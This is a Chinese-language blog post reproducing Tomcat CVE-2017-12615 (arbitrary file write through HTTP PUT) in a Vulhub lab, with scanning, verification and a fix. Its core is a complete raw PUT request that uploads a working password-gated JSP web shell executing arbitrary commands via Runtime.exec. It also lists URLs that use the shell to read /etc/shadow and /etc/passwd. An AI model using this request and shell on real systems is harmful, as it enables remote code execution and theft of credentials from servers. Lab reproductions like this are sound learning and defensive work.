首页 > 其他分享 >Tomcat_PUT方法任意写文件(CVE-2017-12615)

Tomcat_PUT方法任意写文件(CVE-2017-12615)

时间:2023-09-07 22:46:06浏览次数:49  
标签:Tomcat 漏洞 PUT 2017 CVE 12615

目录

Tomcat_PUT方法任意写文件(CVE-2017-12615)

说明 内容
漏洞编号 CVE-2017-12615
漏洞名称 Tomcat_PUT方法任意写文件
漏洞评级 高危
影响范围 Tomcat版本:8.5.19
漏洞描述 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件
修复方案 设置readonly为true

1.1、漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限

1.2、漏洞等级

高危

1.3、影响版本

Tomcat版本:8.5.19

1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/CVE-2017-12615


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8080/即可看到Tomcat的Example页面

image-20230907205046210

2、漏洞扫描

nacs工具

image-20230907205358956

nuclei工具

image-20230907210232794

3、漏洞验证

工具扫描验证

通过nuclei工具扫出来的结果,验证漏洞存在

http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow

image-20230907210353641

http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd

image-20230907210424763

http://192.168.80.141:8080/poc.jsp?cmd=whoami

image-20230907210553391

POC

用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)

PUT /6.jsp/ HTTP/1.1
Host: 192.168.80.141:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 667

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
 
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>


image-20230907211557635

image-20230907211629762

1.6、修复建议

设置readonly为true

标签:Tomcat,漏洞,PUT,2017,CVE,12615
From: https://www.cnblogs.com/saury/p/17686283.html

相关文章

  • Apache HTTPD-换行解析漏洞(CVE-2017-15715)
    目录ApacheHTTPD-换行解析漏洞(CVE-2017-15715)1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证1.5、深度利用GetShell1.6、修复建议ApacheHTTPD-换行解析漏洞(CVE-2017-15715)说明内容漏洞编号CVE-2017-15715漏洞名称Apac......
  • 配置eclipse下的tomcat自动部署
     在eclipse下启动tomcat,可他并不会自动部署到tomcat下的webapps下,老大说这是因为eclipse启动了一个虚拟的tomcat。问题:(1)可有时候发现在虚拟的tomcat下,网页修改了,但运行显示的还是未修改的。(2)在自学axis开发webservice 时,总要到“开始”-“程序”-apachetomcat手动开启tomcat,然......
  • Linux系统安装jdk;tomcat;mysql。
    1安装jdk1:下载jdklinux环境jdk-8u161-linux-x64.tar.gz2:把下载好的软件放在linux系统中3:解压:tar-zxvfjdkXXXXX.tar.gz4:重命名:mvjdk1.8.0_161/jdk85:配置环境变量/etc/profile---->配置环境变量6:刷新/etc/profile文件source/etc/profile7:在任何目录输......
  • 关于antd Input 的defaultValue无法重新渲染的问题
    最近在开发一个功能,table里面的Input组件。需要单行能够编辑,又要多行一起编辑,如下。  在这种情况下,就只能对Input组件使用value受控,而不能使用defaultValue受控。因为defaultValue受控在批量编辑的时候无效。现在遇到的问题是,使用value受控,在onChange的时候输入框会有非常......
  • .Tomcat基础
    1.Tomcat安装tomcathttps://tomcat.apache.org/download-11.cgi。解压。tomcat启动和配置。文件夹信息启动,关闭Tomcat访问测试:http://localhost:8080/可能遇到的问题:java环境变量没有配置闪退问题,需要配置兼容性乱码问题,配置文件设置5.配置可以......
  • tomcat服务器报错
    看问题报错信息里面说tomcat目录下conf下的aaa.xml报错根据目录找到aaa.xml发现aaa.xml里面是空的,删除了之后就不报错了不知道为啥这个就会报错,以前也出现过没有解决,这次通过问了问学长解决了这个问题,具体原因也不知道......
  • tomcat报错
    这个问题是servlet前后端交互的问题,不知道为什么一致访问不了这个地址,以为是前端的问题,后来用postman测试了一下,发现postman也报错404,发现是后端的问题,但是当我换了tomcat10之后,就可以访问了,目前还没有解决问题,我只是把tomcat10换成了tomcat9,可能是因为tomcat9内部文件的......
  • Tomcat7+ 弱口令 && 后台getshell漏洞
    Tomcat7+弱口令&&后台getshell漏洞环境说明Tomcat支持后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。Tomcat7+权限分为:manger(后台管理)manger-gui拥有html页面权限manger-status拥有查看status的权限mager-jmx拥有jmx权限......
  • kingbase参数ora_input_emptystr_isnull
    KingbaseES为了兼容Oracle,增加了参数ora_input_emptystr_isnull,用于控制''和null的比较。参数说明:#settheinput_emptystr_isnull'sdefaultvalues,validvaluesaretrue(on)orfalse(off)#true(on):oraclestyle.theemptystringasNULL#whentheinputstringis......
  • tomcat8参数调整&jvm参数
    TOMCAT8设置请求超时时间和最大连接数 minProcessors------------------最小空闲连接线程数,用于提高系统处理性能,默认值为10 maxProcessors-----------------最大连接线程数,即:并发处理的最大请求数,默认值为75 connectionTimeout-----------------请求超时时间,以毫秒为单......